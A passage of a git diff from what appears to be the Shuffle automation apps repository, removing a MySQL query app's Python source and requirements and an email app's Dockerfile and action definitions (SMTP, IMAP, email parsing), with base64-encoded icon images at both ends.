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 diff --git a/databasemanager/1.0.0/requirements.txt b/databasemanager/1.0.0/requirements.txt deleted file mode 100644 index fcb1a934..00000000 --- a/databasemanager/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.25.1 -mysql-connector-python==8.0.26 - diff --git a/databasemanager/1.0.0/src/app.py b/databasemanager/1.0.0/src/app.py deleted file mode 100644 index 8a9b04ea..00000000 --- a/databasemanager/1.0.0/src/app.py +++ /dev/null @@ -1,45 +0,0 @@ -import socket -import asyncio -import time -import random -import json - -from mysql.connector import connection -from mysql.connector import errorcode - -from walkoff_app_sdk.app_base import AppBase - -class DbManager(AppBase): - __version__ = "1.0.0" - app_name = "DatabaseManager" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def connection(self, username, password, host, port, database_name): - cnx = connection.MySQLConnection(user=username, password= password, - host= host, - port=port, - database= database_name) - print(f"Connection successful, User -->{username} ") - return cnx - - def query_mysql_database(self, username, password, host, port, database_name, query): - - self.db_connection = self.connection(username, password, host, port, database_name) - cursor = self.db_connection.cursor(dictionary=True) - cursor.execute(str(query)) - print("Query executed successfully") - res = cursor.fetchall() - cursor.close() - self.db_connection.close() - return (json.dumps(res)) - -if __name__ == "__main__": - DbManager.run() diff --git a/email/1.1.0/Dockerfile b/email/1.1.0/Dockerfile deleted file mode 100644 index bcc1273d..00000000 --- a/email/1.1.0/Dockerfile +++ /dev/null @@ -1,27 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG - diff --git a/email/1.1.0/api.yaml b/email/1.1.0/api.yaml deleted file mode 100644 index 7259f92f..00000000 --- a/email/1.1.0/api.yaml +++ /dev/null @@ -1,253 +0,0 @@ -walkoff_version: 1.1.0 -app_version: 1.1.0 -name: email -description: Email app -tags: - - email -categories: - - communication -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky - email: "frikky@shuffler.io" -actions: - - name: send_email_shuffle - description: Send an email from Shuffle - parameters: - - name: apikey - description: Your https://shuffler.io apikey - multiline: false - example: "https://shuffler.io apikey" - required: true - schema: - type: string - - name: recipients - description: The recipients of the email - multiline: false - example: "test@example.com,frikky@shuffler.io" - required: true - schema: - type: string - - name: subject - description: The subject to use - multiline: false - example: "SOS this is an alert :o" - required: true - schema: - type: string - - name: body - description: The body to add to the email - multiline: true - example: "This is an email alert from Shuffler.io :)" - required: true - schema: - type: string - returns: - schema: - type: string - - name: send_email_smtp - description: Send an email with SMTP - parameters: - - name: username - description: The SMTP login username - multiline: false - example: "frikky@shuffler.io" - required: true - schema: - type: string - - name: password - description: The password to log in with SMTP - multiline: false - example: "******************" - required: true - schema: - type: string - - name: smtp_host - description: The host of the SMTP - multiline: false - example: "smtp-mail.outlook.com" - required: true - schema: - type: string - - name: smtp_port - description: The port to use for SMTP - multiline: false - example: "587" - required: true - schema: - type: string - - name: recipient - description: The receiver(s) of the email - multiline: false - example: "frikky@shuffler.io,frikky@shuffler.io" - required: true - schema: - type: string - - name: subject - description: The subject of the email - multiline: false - example: "This is a subject, hello there :)" - required: true - schema: - type: string - - name: body - description: The body to add to the email - multiline: true - example: "This is an email alert from Shuffler.io :)" - required: true - schema: - type: string - - name: attachments - description: Send files from shuffle as part of the email - multiline: false - example: "file_id1,file_id2,file_id3" - required: false - schema: - type: string - - name: ssl_verify - description: Whether to use TLS or not - example: "true" - required: false - options: - - true - - false - schema: - type: string - returns: - schema: - type: string - - name: get_emails_imap - description: Get emails using IMAP (e.g. imap.gmail.com / Outlook.office365.com) - parameters: - - name: username - description: The SMTP login username - multiline: false - example: "frikky@shuffler.io" - required: true - schema: - type: string - - name: password - description: The password to log in with SMTP - multiline: false - example: "******************" - required: true - schema: - type: string - - name: imap_server - description: The imap server host - multiline: false - example: "Outlook.office365.com" - required: true - schema: - type: string - - name: foldername - description: The folder to use, e.g. "inbox" - multiline: false - example: "inbox" - required: true - schema: - type: string - - name: amount - description: Amount of emails to retrieve - multiline: false - example: "10" - required: true - schema: - type: string - - name: unread - description: Retrieve just unread emails - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: fields - description: Comma separated list of fields to be exported - multiline: false - example: "body, header.subject, header.header.message-id" - required: false - schema: - type: string - - name: include_raw_body - description: Include raw body in email export - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: include_attachment_data - description: Include raw attachments in email export - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: upload_email_shuffle - description: Upload email in shuffle, return uid - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: upload_attachments_shuffle - description: Upload attachments in shuffle, return uids - multiline: false - options: - - "false" - - "true" - required: true - schema: - type: bool - - name: ssl_verify - description: Whether to use TLS or not - example: "true" - required: false - options: - - true - - false - schema: - type: string - - name: parse_email_file - description: Takes a file from shuffle and analyzes it if it's a valid .eml or .msg - parameters: - - name: file_id - description: file id - required: true - multiline: true - example: 'adf5e3d0fd85633be17004735a0a119e' - schema: - type: string - - name: file_extension - description: Extension of file you want to convert - required: true - options: - - eml - - msg - example: 'eml' - schema: - type: string - - name: parse_email_headers - description: - parameters: - - name: email_headers - description: Email headers - required: true - multiline: true - example: 'Email Headers' - schema: - type: string - returns: - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/hAytodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6Nzg4QTJBMjVEMDI1MTFFN0EwQUVDODc5QjYyQkFCMUQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6Nzg4QTJBMjZEMDI1MTFFN0EwQUVDODc5QjYyQkFCMUQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo3ODhBMkEyM0QwMjUxMUU3QTBBRUM4NzlCNjJCQUIxRCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo3ODhBMkEyNEQwMjUxMUU3QTBBRUM4NzlCNjJCQUIxRCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/Pv/bAEMAAwICAgICAw